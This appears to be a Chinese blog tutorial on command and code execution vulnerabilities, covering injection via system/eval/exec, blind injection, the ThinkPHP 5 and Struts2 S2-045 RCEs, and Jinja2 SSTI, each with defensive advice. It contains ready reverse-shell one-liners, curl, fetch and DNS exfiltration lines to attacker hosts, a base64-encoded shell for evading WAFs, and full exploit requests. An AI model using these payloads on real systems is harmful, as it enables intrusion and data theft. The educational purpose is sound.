关于 Web 风险点原理与利用:5. 命令执行 / 代码执行

一、原理:

1.1 用户输入拼接进系统命令或函数

原理核心:拼接输入 = 注入风险

本质解释:当程序将用户输入直接拼接进系统命令或代码中,并交由系统或解释器执行时,就存在 命令注入(Command Injection)或代码执行(Code Execution) 的风险。

这是未对用户输入进行安全处理导致的。

1.1.1 常见易出问题的函数和方式

系统命令执行类函数

语言危险函数说明
PHPsystem(), exec(), shell_exec(), passthru()调用系统命令
Pythonos.system(), subprocess.Popen(), subprocess.call()同上
JavaRuntime.getRuntime().exec()执行 shell 命令
JS (Node.js)child_process.exec()执行命令

代码执行类函数

语言函数说明
PHPeval()执行字符串形式的 PHP 代码
Pythoneval(), exec()执行字符串形式的 Python 代码
JavaScripteval()执行字符串 JS 代码

1.1.2 从程序员角度:拼接式写法举例(危险)

PHP 示例:

$ip = $_GET["ip"];
system("ping " . $ip);

用户输入 127.0.0.1 && whoami
拼接后变成:

ping 127.0.0.1 && whoami

Python 示例:

import os
user_input = input("Enter IP:")
os.system("ping " + user_input)

用户输入:127.0.0.1 && whoami

拼接后变成:

ping 127.0.0.1 && whoami

Java 示例:

String cmd = "ping " + request.getParameter("ip");
Runtime.getRuntime().exec(cmd);

输入同样可以构造恶意命令执行。

eval 示例(Python):

user_code = input("请输入表达式:")
eval(user_code)

用户输入:

__import__('os').system('whoami')

1.1.3 从攻击者视角:输入如何被拼接利用?

假设程序源代码如下:

system("ping " . $_GET["ip"]);

攻击者可输入以下 payload:

输入内容拼接后结果
127.0.0.1ping 127.0.0.1合法请求
127.0.0.1;lsping 127.0.0.1;ls执行 ls
127.0.0.1&&whoamiping 127.0.0.1&&whoami返回当前执行用户
`'curl attacker.com'`

1.1.4 为什么拼接会导致风险点

解释:

系统函数如 system() 接收到的是一个字符串命令,它不会区分哪些是用户输入,哪些是程序生成的,只会照执行不误

就像你在 Linux 中直接输入一条命令一样:

ping 127.0.0.1 && whoami

系统会先 ping,再执行 whoami——也就是说,你给它什么,它就跑什么,毫无判断能力

1.1.5 从“拼接”走向“代码/命令执行”的过程

图示逻辑:

用户输入  -----> 拼接进命令字符串 -----> 被函数执行 -----> 命令或代码运行 -----> 被利用

例如:

$user = $_GET["name"];
eval("echo 'hello " . $user . "';");

用户输入:

';phpinfo();//'

拼接后:

eval("echo 'hello ';phpinfo();//';");

代码就变成了可执行的恶意代码!

1.1.6 防御建议

安全策略建议做法
参数隔离使用 subprocess.run(["ping", ip]) 等安全 API
输入验证对用户输入做白名单验证,只允许合法字符
禁止 eval避免 eval, exec,尤其是用户输入控制的
最小权限原则限制程序运行权限(即使被利用,破坏也有限)

1.1.7 小结

“用户输入 + 字符串拼接 + 命令执行函数 = 注入风险点”

如果用户的任何输入“被拼接成命令或代码”,而没有做过滤或隔离,就必然存在命令或代码执行风险。


二、注入点:

2.1 system()

system() 是一个用来调用系统命令的函数,执行结果会在程序控制台(或网页输出)中直接显示。

常见语言支持:

语言函数调用形式
PHPsystem($cmd)
Pythonos.system(cmd)
C 语言system(cmd)

2.1.1 工作原理

当调用 system("ping 127.0.0.1"),程序会:

  • 将命令字符串交给操作系统;

  • 操作系统打开一个 shell;

  • 执行命令;

  • 把结果返回(在网页或控制台打印);

这个过程完全信任字符串中的内容,如果是拼接用户输入的内容,就容易产生“命令注入”。

2.1.2 危险用法:拼接用户输入

PHP 示例:

$ip = $_GET["ip"];
system("ping " . $ip);

攻击者输入:

127.0.0.1;whoami

拼接后变成:

ping 127.0.0.1;whoami

执行两个命令:ping 和 whoami,命令注入成功。

2.1.3 攻击方式

命令连接符

符号含义示例
;串行执行127.0.0.1;whoami
&&前一个成功后执行127.0.0.1 && whoami
``
``管道连接

子命令执行

  • $(whoami)`whoami`:在参数内部执行命令

  • ping $(whoami) → 会先执行 whoami,然后 ping 输出结果

输入逃逸(引号、空格)

$ip = $_GET["ip"];
system("ping '$ip'");

攻击者输入:

127.0.0.1';curl attacker.com;#

拼接后:

ping '127.0.0.1';curl attacker.com;#'

仍然执行了 curl。

2.1.4 实战案例

DVWA 风险点演示(PHP):

$target = $_GET['ip'];
system("ping -c 4 " . $target);

攻击者输入:

127.0.0.1; ls /

返回结果里多了 /bin, /etc, /home 等文件夹名,说明命令执行成功。

CTF 类型 payload 示例

127.0.0.1; curl http://attacker.com/`whoami`
127.0.0.1 && nc -e /bin/sh attacker.com 4444

反弹 shell、获取敏感信息、上传木马均可。

2.1.5 防御建议

策略说明
 禁止拼接用户输入不要把用户输入拼到 system()
 参数化处理使用 subprocess.run(["ping", ip])(Python)这样的安全 API
 白名单验证只允许特定 IP、参数格式(如只允许 [\d\.]+
 最小权限执行限制程序只能访问有限的系统命令
 WAF 防御拦截包含注入符号的请求,如 ;, `

2.1.6 是否应该使用 system()

尽量避免使用。在 Web 开发、脚本自动化中,应优先使用:

语言替代方案
PHPescapeshellarg(), proc_open()
Pythonsubprocess.run()
JavaProcessBuilder(避免拼接字符串)

=======================================

2.2 eval()

eval() 的作用是:将传入的字符串“当成代码”来执行。它就像一个“程序内的解释器”,可以动态执行字符串形式的代码。

支持 eval() 的常见语言

语言示例说明
Pythoneval("1+2")3可执行表达式
PHPeval("echo 1+2;"); → 输出 3执行任意 PHP 代码
JavaScripteval("alert(1+2)") → 弹窗 3执行 JS 表达式
Ruby、Perl也支持

2.2.1 原理:为什么危险?

当程序使用 eval() 处理用户输入时,攻击者就可以传入任意代码,造成 代码注入风险点

user_input = input("请输入表达式:")
eval(user_input)

如果用户输入:

__import__('os').system('whoami')

就可以在服务器上执行任意系统命令!

2.2.2 不同语言中的攻击方式

Python 中的 eval() 注入

user_input = input(">> ")
eval(user_input)

恶意输入:

__import__('os').system('curl attacker.com/shell.sh | sh')

().__class__.__bases__[0].__subclasses__()[59]("id", shell=True).communicate()

这是 Python 经典的逃逸链攻击方式,用于绕过禁用模块。

注意:

  • Python 中还有 exec(),可执行多行代码,更危险。

  • eval() 只能执行表达式1+2, "abc".upper(),而 exec() 可以执行语句(for...import...

PHP 中的 eval() 注入

$code = $_GET["code"];
eval($code);

恶意访问:

http://target.com/test.php?code=phpinfo();

服务器就会执行 phpinfo(),攻击者可以用它进一步发现风险点。

配合 base64 绕过:

eval(base64_decode($_POST["data"]));

攻击者 POST:

data=c3lzdGVtKCd3aG9hbWknKTs=

解码后执行:

system('whoami');

JavaScript 中的 eval() 注入

let userCode = prompt("输入JS代码:");
eval(userCode);

恶意输入:

fetch('http://attacker.com?cookie=' + document.cookie)

这类 XSS 或恶意代码可直接执行。

2.2.3 典型实战案例

Flask + Jinja2 模板注入(SSTI → eval)

@app.route("/")
def index():
    name = request.args.get("name")
    return render_template_string(f"Hello {name}")

用户访问:

/?name={{ 7*7 }}

返回:

Hello 49

进一步注入:

{{ config.__class__.__init__.__globals__['os'].system('ls') }}

本质上等价于 eval() 执行字符串代码。

在线计算器类功能,使用 eval

@app.route('/calc')
def calc():
    formula = request.args.get("formula")
    return str(eval(formula))

攻击者输入:

/calc?formula=__import__('os').popen('whoami').read()

造成远程命令执行。

2.2.4 防御措施

永远不要信任用户输入!

方法说明
 禁用 eval()exec()除非绝对必要
 使用安全的解析器比如:Python 用 ast.literal_eval() 限制只能解析字面量
 做表达式白名单只允许数学表达式、加减乘除等
 使用沙箱eval 限制在一个安全环境内
 输入正则校验限制非法字符(如括号、点、引号等)
 代码审计时重点标记 eval 出现处评估是否有用户输入

=======================================

2.3 exec()

exec() 是用来执行任意代码字符串的函数,不仅可以执行表达式,还可以执行多行语句。

举例(以 Python 为例):

exec("print('Hello World')")

这将输出:

Hello World

eval() 不同,exec() 不返回结果,它执行的是语句,而不是表达式

2.3.1 不同语言中 exec() 的表现

语言调用方式说明
Pythonexec("for i in range(3): print(i)")支持完整语句执行
PHPexec("ls", $output);执行系统命令,输出保存在数组中
JavaScript无原生 exec(),但 eval() 可实现同样功能

注意:PHP 中的 exec() 和 Python 的 exec() 不是一回事!

2.3.2 Python 中的 exec() 注入原理

典型不安全写法:

code = input("请输入要执行的代码:")
exec(code)

攻击者输入:

__import__('os').system('whoami')

完整执行,造成命令执行风险点!

2.3.3 exec()eval() 的区别

特性eval()exec()
返回值
表达式/语句只能执行表达式能执行任意语句
安全风险更高
可嵌套结构受限无限制

示例比较:

# eval:
eval("1+2")               #  正常
eval("for i in range(5): print(i)")  #  报错

# exec:
exec("for i in range(5): print(i)")  #  正常

2.3.4 常见攻击方式(Python 为例)

动态导入系统模块 + 命令执行:

exec("__import__('os').system('curl attacker.com')")

多语句执行 + 远程代码:

exec("""
a = 1
b = 2
print(a + b)
__import__('os').system('whoami')
""")

利用 globals / locals 绕过变量作用域

exec("flag = 'fake_flag'", globals())
print(flag)  # 输出:fake_flag

攻击者可以修改程序变量,甚至覆盖原函数定义!

2.3.5 PHP 中的 exec()

虽然名字相同,但它是调用系统命令的:

$output = [];
exec("ls", $output);
print_r($output);

攻击者输入:

$cmd = $_GET['cmd'];
exec($cmd);

传入:

cmd=whoami

直接命令执行,类似于 system() 函数。

2.3.6 典型使用场景(危险)

在线代码运行平台(REPL)

@app.route("/run")
def run_code():
    code = request.args.get("code")
    exec(code)

攻击者访问:

/run?code=__import__('os').system('ls')

等于直接打穿后台!

配置文件执行:

with open("config.py") as f:
    exec(f.read())

攻击者控制了配置文件,就能执行任意后门代码。

2.3.7 防御策略

方法说明
 禁用 exec()eval()除非明确知道自己在干什么
 使用白名单只允许固定功能(如:加法、简单函数)
 语法树解析ast.literal_eval() 安全解析表达式
 限制作用域exec(code, {}, {}) 执行时不传入任何变量
 使用沙箱机制如 PyPy Sandbox、Jail 内执行
 安全审计工具扫描检查是否有 exec() 注入点

2.3.8 真实案例

Flask + exec 动态执行功能

@app.route("/run_code")
def run_code():
    code = request.args.get("code")
    exec(code)
    return "Done"

用户提交:

?code=__import__('os').system('cat /flag')

后台执行命令,严重风险点。


三、利用方法:

3.1 反弹 shell

反弹 shell(Reverse Shell)是指攻击者让目标服务器主动连接回自己,从而获得远程控制权限的一种技术。

原理详解:

背景知识:很多服务器 出站是允许的(可以主动连接外网),但 入站禁止(别人连不进来)。所以攻击者无法直接连接目标,但可以:

  • 在攻击者本地开个端口监听(监听 shell)

  • 让目标服务器执行一段命令,反向连接攻击者

  • 成功建立一个 交互式 shell 会话

技术流程:

┌────────────┐         ┌────────────┐
│ 攻击者机器 │ ←────── │ 目标服务器 │
│ 监听端口   │         │ 执行命令   │
└────────────┘         └────────────┘
        ← Shell 会话 ←

3.1.1 常见反弹 Shell Payload

以下 payload 一般放入命令执行风险点、eval、exec、上传的 webshell 里执行。

Bash 反弹:

bash -i >& /dev/tcp/攻击者IP/端口 0>&1
  • -i:交互式

  • /dev/tcp/host/port:Linux 特性

  • >&:把 stdout 和 stderr 重定向到 socket

Python 反弹:

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("攻击者IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

适合目标机器有 Python 环境。

Perl 反弹:

perl -e 'use Socket;$i="攻击者IP";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Netcat(nc)反弹:

nc 攻击者IP 端口 -e /bin/bash

某些系统的 Netcat(如 BusyBox)不支持 -e,可以换如下方式:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 攻击者IP 端口 > /tmp/f

PHP 反弹:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'"); ?>

上传到服务器执行即可。

3.1.2 演示操作(以 Bash 为例)

攻击者机器监听:

nc -lvnp 4444

在目标机器执行:

bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

攻击者就会收到反弹回来的 shell:

$ whoami
root
$ uname -a
Linux target 5.15.0-60-generic ...

3.1.3 技巧

权限提权

拿到 shell 后,可以尝试:

  • 查看 SUID 二进制

  • 找风险点提权(内核、软件)

  • 挂载到 cron / 定时任务

  • 泄露数据库密码,横向移动

绕过防火墙(WAF/IDS)

  • 用 base64 编码:

    echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash
    
  • 修改端口(避开 4444、8888 等特征端口)

  • 使用 HTTPS + TLS 加密通信(例如 Metasploit + stager)

3.1.4 适用场景

  • Web 命令执行风险点

  • 文件上传拿到 WebShell

  • SSRF + Redis 写计划任务

  • 任意代码执行风险点(eval、模板注入等)

  • APP 接口命令注入 / adb 执行命令

=======================================

3.2 命令盲注

命令盲注(Blind Command Injection)是指:目标存在命令执行风险点,但执行结果无法直接返回,攻击者只能通过“侧信道”判断命令是否执行成功的一种技术。

3.2.1 原理解析

有些网站存在命令执行点,例如:

system("ping " . $_GET['ip']);

如果输入的是:

127.0.0.1; whoami

但网页不会返回 whoami 的输出结果,什么也看不到 —— 这就是“盲注”场景

所以只能靠侧信道反馈来判断命令是否执行:

  • 响应时间

  • DNS 请求是否发生

  • 目标是否产生行为(文件、网络请求)

3.2.2 常见利用方式

1)基于时间的盲注(Sleep)

原理:让目标服务器 执行 sleep 命令延迟响应,以判断是否注入成功。

示例 Payload:

127.0.0.1; sleep 5

或:

192.168.1.1 && ping -c 5 127.0.0.1

判断方法:

  • 如果服务器响应明显延迟 5 秒,就说明 sleep 被执行了。

  • 多次测试可确认命令注入点是否可靠。

适用:

  • 无回显

  • 不出错

  • 网络能正常等待

2)基于 DNS 的盲注(外带型)

原理:执行 nslookupping,向你自己的 DNS 域名发起请求,把执行结果“打包”在域名里返回。

示例 Payload:

127.0.0.1; nslookup `whoami`.xxxx.dnslog.cn

或:

127.0.0.1; ping `whoami`.xxxx.ceye.io

工具平台:

判断方法:

在 DNS 监控平台里看到类似:

www-data.dnslog.cn

就证明命令执行成功,而且知道当前用户是 www-data

3)基于文件/行为的盲注

原理:执行命令写文件、创建目录、修改文件等,然后你用别的方式验证是否存在。

示例 Payload:

127.0.0.1; touch /tmp/hacked

之后访问:

http://target.com/check_file.php?file=/tmp/hacked

如果存在,说明 touch 成功,命令被执行。

3.2.3 回显盲注

提示输出的技巧

127.0.0.1; echo `whoami` > /var/www/html/test.txt

然后访问:

http://target.com/test.txt

输出命令结果间接查看。

3.2.4 常见绕过方式

  • 空格绕过:${IFS}
127.0.0.1;${IFS}sleep${IFS}5
  • 编码绕过:URL 编码 ;%3B

  • 拼接命令:
&&, ||, |, ;, ``, $(), >, >>

=======================================

3.3 字符逃逸

字符逃逸(Character Escaping)是指在命令执行或代码执行场景中,想办法跳出原本限制的输入位置,插入或执行我们自己的恶意命令。

3.3.1 背后原理

开发者可能写了代码:

system("ping " . $_GET["ip"]);

输入:

127.0.0.1

这时服务器会执行:

ping 127.0.0.1

但如果输入:

127.0.0.1; whoami

它就变成:

ping 127.0.0.1; whoami

于是 whoami 被执行了。这个 ; 就是**“逃逸点”**,从原本的命令里“逃逸”出来,插入了新的命令。

3.3.2 常见字符逃逸符号

符号说明
;分隔两条命令,顺序执行
&&前一条命令成功后执行后一条
`
``
&后台执行命令
```执行括号内的命令(反引号)
$()同上,命令替换(现代写法)
> >>输出重定向
<输入重定向

3.3.3 利用方式详解

1); 命令分隔符

127.0.0.1; whoami

等于:

ping 127.0.0.1; whoami

2)&& 条件执行

127.0.0.1 && whoami

当 ping 成功时才执行 whoami。

3)管道 |

127.0.0.1 | whoami

ping 的输出传给 whoami,虽然语义不太通,但有时能逃逸成功。

4)命令替换符 `command`$()

127.0.0.1; echo `whoami`
127.0.0.1; echo $(whoami)

在某些语言(如 PHP、Node.js)中可能会被解析成命令。

3.3.4 真实例子

假设某系统拼接命令如下:

os.system("ping " + user_input)

输入:

127.0.0.1; curl http://x.x.x.x/`whoami`

目标执行:

ping 127.0.0.1; curl http://x.x.x.x/root

通过监听 HTTP 请求就能知道对方执行的是 whoami 的结果。

3.3.5 字符逃逸中常用技巧

1)空格绕过:用 ${IFS}\

127.0.0.1;whoami
127.0.0.1;${IFS}whoami
127.0.0.1;\ whoami

IFS 是 Linux 中默认的空格符(Internal Field Separator)。

2)双引号、单引号绕过

程序写成:

system("ping '" + ip + "'");

要逃逸出 '

127.0.0.1'; whoami; #

最终变成:

ping '127.0.0.1'; whoami; #'

后面部分就被执行了。

防护不当的例子(非常常见):

弱代码:

<?php
$ip = $_GET['ip'];
system("ping " . $ip);
?>

访问:

http://xxx.com/ping.php?ip=127.0.0.1;whoami

就成功逃逸并执行了 whoami

绕过字符过滤

开发者过滤了:

str_replace([';', '&', '|'], '', $ip);

可以尝试:

  • URL 编码:%3B, %26, %7C

  • 多字节编码:0x3b

  • 空格绕过:${IFS}

  • 换其他命令连接方式


四、风险点:

4.1 ThinkPHP

ThinkPHP 是一个流行的 国产 PHP 框架,广泛用于企业网站、CMS、管理后台等场景。因其流行,安全问题成为攻击者重点关注对象。

ThinkPHP 框架曾因其框架路由机制魔法调用机制存在设计缺陷,导致多个版本可被远程代码执行(RCE)

4.1.1 原理分析:ThinkPHP RCE(以 5.0 为例)

风险点入口点:

/index.php?s=/Index/think/app/invokefunction

传入参数:

POST data:
_function=system&_data[]=id

风险点利用机制:

ThinkPHP 内部有类似下面的代码逻辑:

call_user_func($_POST['_function'], $_POST['_data']);

这意味着攻击者可以控制:

  • 调用哪个函数,例如:system

  • 传入什么参数,例如:id, whoami

风险点效果:

传入的请求变成:

system('id');  // 命令执行

4.1.2 风险点利用步骤(ThinkPHP 5.0.x)

构造请求:

POST /index.php?s=/Index/think/app/invokefunction HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

_function=system&_data[]=id

响应返回:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

证明已执行命令。

4.1.3 更多变种利用方式

_method=__construct 绕过方式:

POST /index.php?s=/Index/think/container/think\app/invokefunction HTTP/1.1

_function=phpinfo&_data[]=1

或:

GET /?s=/index/think\app/invokefunction&_function=system&_data[]=whoami

有时还会用 think\Container 的特性进行触发:

s=/index/think\Container/invokefunction

利用 think\Container::invokeFunction() 方法间接执行命令。

4.1.4 代码审计参考点

如果在源码中发现:

call_user_func($_GET['xxx']);

或者:

think\App::invokeMethod($_GET['xxx']);

而其中参数是用户可控的,那么就很可能存在命令执行或任意函数调用风险。

利用效果演示

可以执行如下命令:

  • whoami

  • uname -a

  • curl http://your.vps/(用于收集返回数据)

  • bash -i >& /dev/tcp/attacker_ip/4444 0>&1(反弹 shell)

修复建议

修复方式说明
升级版本ThinkPHP >= 5.0.24 / 5.1.32
禁用调试模式APP_DEBUG 设置为 false
关闭函数调用路由invokefunction 特殊功能
WAF拦截关键词_function, think, system

4.1.5 实战建议

如果要练习 ThinkPHP RCE,可以:

1)使用 vulhub 的 ThinkPHP5 风险点环境:

git clone https://github.com/vulhub/vulhub
cd vulhub/thinkphp/5-rce
docker-compose up -d

2)使用 BurpSuite 构造 Payload:

POST /index.php?s=/Index/think/app/invokefunction HTTP/1.1

_function=system&_data[]=whoami

=======================================

4.2 Struts2

Apache Struts2 是一个流行的 Java Web MVC 框架,用于快速构建 Web 应用。其核心特性之一是使用表达式语言 OGNL(Object-Graph Navigation Language)对参数自动绑定。

危险根源:OGNL 表达式注入

Struts2 在处理请求参数时会使用 OGNL 表达式自动解析绑定输入值:

value="#{user.name}" → 会被自动当作 OGNL 表达式解析

如果开发者或框架内部没有对参数内容做严格过滤,就可能让攻击者注入恶意 OGNL 表达式,从而执行任意 Java 代码,甚至系统命令。

常见历史严重风险点版本

风险点编号影响版本危害
S2-0052.0.xOGNL注入
S2-0162.3.15.x命令执行
S2-0452.3.5–2.3.31Content-Type 触发 RCE
S2-0572.5.x上传组件 RCE

4.2.1 风险点演示:S2-045

风险点条件

  • Struts2 版本在 2.3.5 ~ 2.3.31 之间

  • 使用了 Jakarta Multipart parser(Struts 默认文件上传解析器)

  • 攻击者可以控制 Content-Type 请求头

风险点Payload(OGNL 注入点是 Content-Type)

POST /upload.action HTTP/1.1
Content-Type: %{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).
(@java.lang.Runtime@getRuntime().exec('id'))}

分析:

  • @java.lang.Runtime@getRuntime().exec()执行系统命令

  • #context.setMemberAccess(...)解除沙箱限制

  • 整个 Content-Type 被当作 OGNL 表达式解析并执行

服务器执行效果:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

风险点核心原理

Struts2 会把用户传入的一些字段(包括 Content-Type、URL 参数、表单字段等)作为 OGNL 表达式执行。如果这个字段未被正确过滤,就能构造任意表达式并执行任意 Java 方法。

4.2.2 危害举例

Struts2 S2-045 风险点爆发后,美国信用评级机构 Equifax 在 2017 年因为没及时修复该风险点,被黑客利用命令执行风险点入侵,最终导致:

  • 1.4 亿用户信息泄露

  • 股价暴跌

  • CEO 辞职

4.2.3 防御方式

措施说明
升级 Struts2 至最新版本官方已封掉 OGNL 自由执行
替换上传解析器不使用 Jakarta Multipart parser
启用 OGNL 沙箱禁止调用 RuntimeProcessBuilder
参数黑名单 / WAF 拦截拦截 OGNL 表达式、@java.lang.Runtime 等字样

检测工具推荐

  • Struts2Scan:自动扫描 S2-0XX 风险点

  • nuclei + struts2-* 模板

  • BurpSuite 插件:Active Scanner + Payload Template

4.2.4 小结

Struts2 命令执行风险点,本质是攻击者控制了一个被当成 OGNL 表达式的输入,从而执行任意 Java 代码,进而系统命令。

=======================================

4.3 模板注入(SSTI)

模板注入风险点(SSTI, Server-Side Template Injection)指攻击者在模板渲染引擎中注入恶意表达式,使服务器执行非预期的代码,甚至系统命令。

4.3.1 SSTI 出现的条件

  • 服务端使用了模板引擎(如 Jinja2、Freemarker、Velocity、Smarty、Twig)

  • 用户输入被直接传入模板渲染函数,例如:

# Flask 示例(存在风险点)
@app.route("/hello")
def hello():
    name = request.args.get("name")
    return render_template_string("Hello {{ " + name + " }}")

攻击者访问:

/hello?name=7*7

模板引擎会渲染为:

Hello 49

说明:表达式已被执行。

4.3.2 常见模板引擎与危险等级

语言模板引擎特点
PythonJinja2, Mako支持表达式计算与类访问
PHPSmarty, Twig常用于 CMS
JavaFreemarker, Velocity可访问类对象
Node.jsEJS, Handlebars通常危险性较低

危险等级分级

等级类型说明
表达式执行{{7*7}} → 49
任意变量读取如读取对象结构 {{ config }}
任意代码执行利用类访问、模块导入,执行系统命令等

4.3.3 危险 Payload 示例(以 Python 的 Jinja2 为例)

基本注入测试:

{{7*7}}      → 49(判断是否可注入)
{{ 'a'.__class__ }} → 显示类型

执行命令(反弹 shell/远程命令):

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

或者:

{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

利用链条原理

大多数 SSTI 的 RCE 是通过「模板变量 -> 类对象 -> 模块 -> 函数 -> 命令」的链条实现的。

比如:

'string' → __class__ → __mro__ → object → __subclasses__() → subprocess.Popen

最终可以写出:

{{ ''.__class__.__mro__[1].__subclasses__()[408]('id',shell=True,stdout=-1).communicate()[0] }}

注意:不同 Python 环境中 subclasses()[408] 的下标不同,需要调试。

检测方式

  • 输入测试表达式,如 {{7*7}}#{7*7}${7*7},观察输出是否为 49

  • 如果输出为计算结果 → 存在 SSTI

4.3.4 利用工具

工具名说明
tplmap自动化 SSTI 检测与利用工具
BurpSuite手动测试、自定义 payload 插入
nuclei模板注入模板批量探测

4.3.5 常见可利用场景

  • Flask 的 render_template_string

  • Tornado 的模板渲染

  • Java 的 Freemarker,变量名可控时注入执行

  • Smarty 中 eval 修饰符未过滤用户输入

  • 部分 CMS(如 Drupal、Wordpress 插件)调用模板未清洗变量

4.3.6 防御方法

方法说明
不直接拼接变量到模板中使用参数绑定传入
开启模板沙箱(Sandbox)限制模板能访问的对象和方法
使用白名单变量传递机制限制用户输入变量只允许渲染文本
使用静态 HTML 模板渲染不使用 render_template_string 等危险函数

4.3.7 实战示例

1)搭建 Flask + Jinja2 的简易风险点 Demo:

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    user_input = request.args.get("name", "")
    return render_template_string("Hello {{ " + user_input + " }}")

app.run()

2)访问 http://localhost:5000/?name=7*7 → 看是否输出 49

3)进一步测试:

http://localhost:5000/?name=__import__('os').popen('id').read()

4.3.8 小结

SSTI 的本质,是用户输入被当作模板表达式执行,从而可导致命令执行、变量泄露、RCE。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值